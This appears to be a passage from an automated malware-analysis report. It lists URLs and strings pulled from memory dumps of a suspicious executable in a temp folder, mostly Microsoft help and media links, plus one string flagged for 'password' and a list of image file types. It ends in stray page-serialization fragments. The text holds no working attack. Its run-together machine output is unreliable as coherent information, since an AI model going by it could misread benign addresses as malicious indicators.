"http://user.configfile:.configfile://datadirectoryc:\users\hapubws\appdata\local\temp\ixp002.tmp\4hz158bt.exe.configfile:///c:/users/hapubws/appdata/local/temp/ixp002.tmp/4hz158bt.exec:/users/hapubws/appdata/local/temp/ixp002.tmp/4hz158bt.exec:\users\hapubws\appdata\local\temp\ixp002.tmp\4hz158bt.exehttphttpsfilegophernntpnewsmailtouuidtelnetldapnet.tcpnet.pipevsmacrostargetframeworkmoniker.netportablesilverlightwindowsphone71windowsphone8.netframeworkversion=v4.0versionv4.00123456789abcdefsystem.net/machine/exe/roaming_user/local_usermachine/exe/roaming_userservice" - Source: "00000000-00000372.00000000.68536.02500000.00000004.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=42127" - Source: "00000000-00000372.00000000.68536.02500000.00000004.mdmp") Found URL "http://www.w3.org/2000/09/xmldsig" - Source: "00000000-00000372.00000000.68536.02500000.00000004.mdmp") Found URL "http://www.windows.com/pctv.update" - Source: "00000000-00000372.00000001.68900.07FF0000.00000002.mdmp") Found URL "http://www.windows.com/pctv.select" - Source: "00000000-00000372.00000001.68900.07FF0000.00000002.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=53081" - Source: "00000000-00000372.00000001.68900.07FF0000.00000002.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=30564-http://go.microsoft.com/fwlink/?linkid=145764-http://go.microsoft.com/fwlink/?linkid=145764-http://go.microsoft.com/fwlink/?linkid=145764-http://go.microsoft.com/fwlink/?linkid=145764-http://go.microsoft.com/fwlink/?linkid=131536-http://go.microsoft.com/fwlink/?linkid=131535+http://go.microsoft.com/fwlink/?linkid=8430software" - Source: "00000000-00000372.00000001.68900.07FF0000.00000002.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=70599help" - Source: "00000000-00000372.00000001.68900.07FF0000.00000002.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=145837.presscheckcheckuncheckselectpresspresspresspressexecutepnow" - Source: "00000000-00000372.00000001.68900.07FF0000.00000002.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=57190microsoft" - Source: "00000000-00000372.00000001.68900.07FF0000.00000002.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=145765ehtray_notify_nullehtray_s_ignore_eventlow" - Source: "00000000-00000372.00000001.68900.07FF0000.00000002.mdmp") Found URL "http://vista.gallery.microsoft.com/vista/sideshow.aspxgadgetsno" - Source: "00000000-00000372.00000001.68900.07FF0000.00000002.mdmp") Found URL "http://www.icra.org/vocabulary/.nonelimitedsomeunrestrictednudity4no" - Source: "00000000-00000372.00000001.68900.07FF0000.00000002.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=32146" - Source: "00000000-00000372.00000001.68900.07FF0000.00000002.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=70183'res://wmploc.dll/offline_radioguide.htm&visualizationsshow" - Source: "00000000-00000372.00000001.68900.07FF0000.00000002.mdmp") Found URL "http://images.metaservices.microsoft.com/cover/6http://redir.metaservices.microsoft.com/redir/buynow/?1http://redir.metaservices.microsoft.com/dvdcover/phttp://redir.metaservices.microsoft.com/redir/buynow/?,http://windowsmedia.com/redir/findmedia.asp?9http://redir.metaservices.microsoft.com/redir/getmdrdvd/?8http://redir.metaservices.microsoft.com/redir/getmdrcd/?bhttp://redir.metaservices.microsoft.com/redir/getmdrcdbackground/??http://redir.metaservices.microsoft.com/redir/getmdrcdposturl/?ihttp://redir.metaservices.microsoft.com/redir/getmdrcdposturlbackground/?=http://redir.metaservices.microsoft.com/redir/getdaiposturl/?:http://redir.metaservices.microsoft.com/redir/daifailure/?microsoft" - Source: "00000000-00000372.00000001.68900.07FF0000.00000002.mdmp") Found URL "http://redir.metaservices.microsoft.com/redir/submittoc/?-http://windowsmedia.com/redir/querytocext.asp1res://wmploc.dll/offline_mediainfo_nowplaying.htm7http://redir.metaservices.microsoft.com/redir/buynowmg/,http://windowsmedia.com/redir/buyticket9.asp)http://windowsmedia.com/redir/idppage.asp)http://windowsmedia.com/redir/idplogo.aspsegoe" - Source: "00000000-00000372.00000001.68900.07FF0000.00000002.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=321507optimized" - Source: "00000000-00000372.00000001.68900.07FF0000.00000002.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=8792hdcd" - Source: "00000000-00000372.00000001.68900.07FF0000.00000002.mdmp") Found URL "http://redir.metaservices.microsoft.com/redir/mediaguide/?9http://redir.metaservices.microsoft.com/redir/radiotuner/,http://windowsmedia.com/redir/querytocnp.asp" - Source: "00000000-00000372.00000001.68900.07FF0000.00000002.mdmp") Found URL "http://redir.metaservices.microsoft.com/redir/dvddetails/9http://redir.metaservices.microsoft.com/redir/dvdwizard/?pshow" - Source: "00000000-00000372.00000001.68900.07FF0000.00000002.mdmp") Found URL "http://windowsmedia.com/redir/services.asp?wmpfriendly=trueonlinestoresplearn" - Source: "00000000-00000372.00000001.68900.07FF0000.00000002.mdmp") Found URL "http://www.microsoft.com/windows/windowsmedia/musicservices.aspx?http://redir.metaservices.microsoft.com/redir/allservices/?sv=2?http://redir.metaservices.microsoft.com/redir/allservices/?sv=3?http://redir.metaservices.microsoft.com/redir/allservices/?sv=5musicpicturesvideos/enter" - Source: "00000000-00000372.00000001.68900.07FF0000.00000002.mdmp") Found URL "http://timevalue" (Indicator: "password"; Source: "00000000-00000372.00000000.68536.02500000.00000004.mdmp") Found string "ZIndicates if the text in the edit control should appear as the default password character." (Indicator: "password"; Source: "00000000-00000372.00000001.68900.00D92000.00000020.mdmp")7b:T414,"dinosaur_1_.png" has type "PNG image data 1200 x 800 8-bit/color RGBA non-interlaced" and extension "png" "firefox_1_.png" has type "PNG image data 128 x 128 8-bit/color RGBA non-interlaced" and extension "png" "yt_logo_rgb_light_1_.png" has type "PNG image data 1588 x 356 8-bit colormap non-interlaced" and extension "png" "edgium_1_.png" has type "PNG image data 128 x 128 8-bit/color RGBA non-interlaced" and extension "png" "Y0L6f5sxdIV_1_.png" has type "PNG image data 283 x 315 8-bit colormap non-interlaced" and extension "png" "chrome_1_.png" has type "PNG image data 128 x 128 8-bit/color RGBA non-interlaced" and extension "png" "opera_1_.png" has type "PNG image data 128 x 128 8-bit/color RGBA non-interlaced" and extension "png" "O287_AcFyg4_1_.png" has type "PNG image data 20 x 20 8-bit colormap non-interlaced" and extension "png" "O7nelmd9XSI_1_.png" has type "PNG image data 1 x 1 1-bit colormap non-interlaced" and extension "png" "hsts-pixel_1_.gif" has type "GIF image data version 89a 1 x 1" and extension "gif"7c:Tc007,"initAft()